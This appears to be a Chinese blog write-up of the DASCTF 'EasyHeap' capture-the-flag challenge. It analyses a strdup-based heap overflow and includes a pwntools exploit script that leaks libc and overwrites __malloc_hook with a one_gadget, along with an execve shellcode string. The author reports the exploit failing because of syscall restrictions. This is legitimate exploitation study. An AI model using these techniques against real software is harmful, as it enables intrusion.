DASCTF July X CBCTF 4th—EasyHeap

先看一个函数 strdup()

char *strdup(char *s);
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len); #长度固定为 len(参数)+1
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

头文件:string.h
功能: 将字符串拷贝到新建的位置处
说 明:strdup()在内部调用malloc()为变量分配内存
返回值:返回一个指针,指向为复制字符串分配的空间;如果分配空间失败,则返回NULL值。

checksec:
file
保护全开,Full Relro 要泄露 libc

ADD函数存在溢出

unsigned __int64 add()
{
  char *v0; // rax
  size_t nbytes; // [rsp+4h] [rbp-101Ch]
  int v3; // [rsp+Ch] [rbp-1014h]
  char buf; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v5; // [rsp+1018h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&buf, 0, 0x1000uLL);
  for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) ) # chunk_tables
  {
    if ( !qword_202060[HIDWORD(nbytes)] )
    {
      v3 = HIDWORD(nbytes);
      break;
    }
  }
  if ( HIDWORD(nbytes) == 11 )
  {
    puts("wrong");
    exit(0);
  }
  puts("Size: ");
  __isoc99_scanf("%d", &nbytes);
  if ( (unsigned int)nbytes > 0x500 )
    LODWORD(nbytes) = 1280;  #size_max
  puts("Content: ");
  read(0, &buf, (unsigned int)nbytes);
  v0 = strdup(&buf); #最大size为 len(&buf)+1,存在溢出
  qword_202060[v3] = v0;
  dword_2020C0[v3] = nbytes;
  return __readfsqword(0x28u) ^ v5;
}

思路:
tcache最大存 0x408 的 chunk ,利用溢出,通过 unsortedbin 泄露 libc ,再劫持 __malloc(free)_hook ,写入 shellcode 或者 one_gadget。

exp:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *

#p=remote('node4.buuoj.cn',28721)
p = process("./Easyheap")
libc = ELF('./libc-2.27.so')
elf= ELF('./Easyheap')
context.log_level='debug'

def add(size,payload):
    p.recvuntil('>> :\n')
    p.sendline('1')
    #p.recvuntil('Size: \n')
    p.sendline(str(size))
    #p.recvuntil('Content: \n')
    p.sendline(str(payload))

def edit(idx,payload):
    p.recvuntil('>> :\n')
    p.sendline('4')
    #p.recvuntil('Index:\n')
    p.sendline(str(idx))
    #p.recvuntil('Content:\n ')
    p.sendline(str(payload))

def free(idx):
    p.recvuntil('>> :\n')
    p.sendline('2')
    #p.recvuntil('Index:\n')
    p.sendline(str(idx))

def dump(idx):
    p.recvuntil('>> :\n')
    p.sendline('3')
    #p.recvuntil('Index:\n')
    p.sendline(str(idx))
    #p.recvuntil('Content: ')
    p.recvline()

add(0x500,'a'*0x10)#0
add(0x500,'b'*0x2f0)#1
add(0x500,'c'*0x2f0)#2
add(0x500,'d'*0x10)#3
add(0x500,'e'*0x10)#4
add(0x500,'f'*0x10)#5
#gdb.attach(p)

payload = 'a'*0x18+p64(0x601)
edit(0,payload)
#gdb.attach(p)
free(1)
#gdb.attach(p)
add(0x500,'d'*0x2f0)
#gdb.attach(p)
dump(2)
leak_addr = u64(p.recvline()[9:15].ljust(8,'\x00'))
print('leak_addr:',hex(leak_addr))
offset=0x3ebca0
libc_base = leak_addr - offset
print('libc_base:',hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
free_hook = libc_base + libc.sym['__free_hook']
print('free_hook:',hex(free_hook))

free(4)
edit(3,'t'*0x18+p64(0x21)+p64(malloc_hook))
#gdb.attach(p)
add(0x500,'h'*0x10)

one_gadget=libc_base + 0x10a41c
print('one_gadget:',hex(one_gadget))
shellcode=asm(shellcraft.sh())
#shellcode='\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34'
print(len(shellcode))
#add(0x500,str(shellcode))
add(0x500,p64(one_gadget))
#gdb.attach(p)
add(0x10,'a')
p.interactive()

这题埋个种子,shellcode写不进去,写字符串却没问题,还请师傅们指点。
file

one_gadget都用不成。
下次再来做这题

破案了,当时没注意到
file
这里有限制系统调用

重新尝试编写 shellcode,但是依然写不进去,还是我太菜了

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据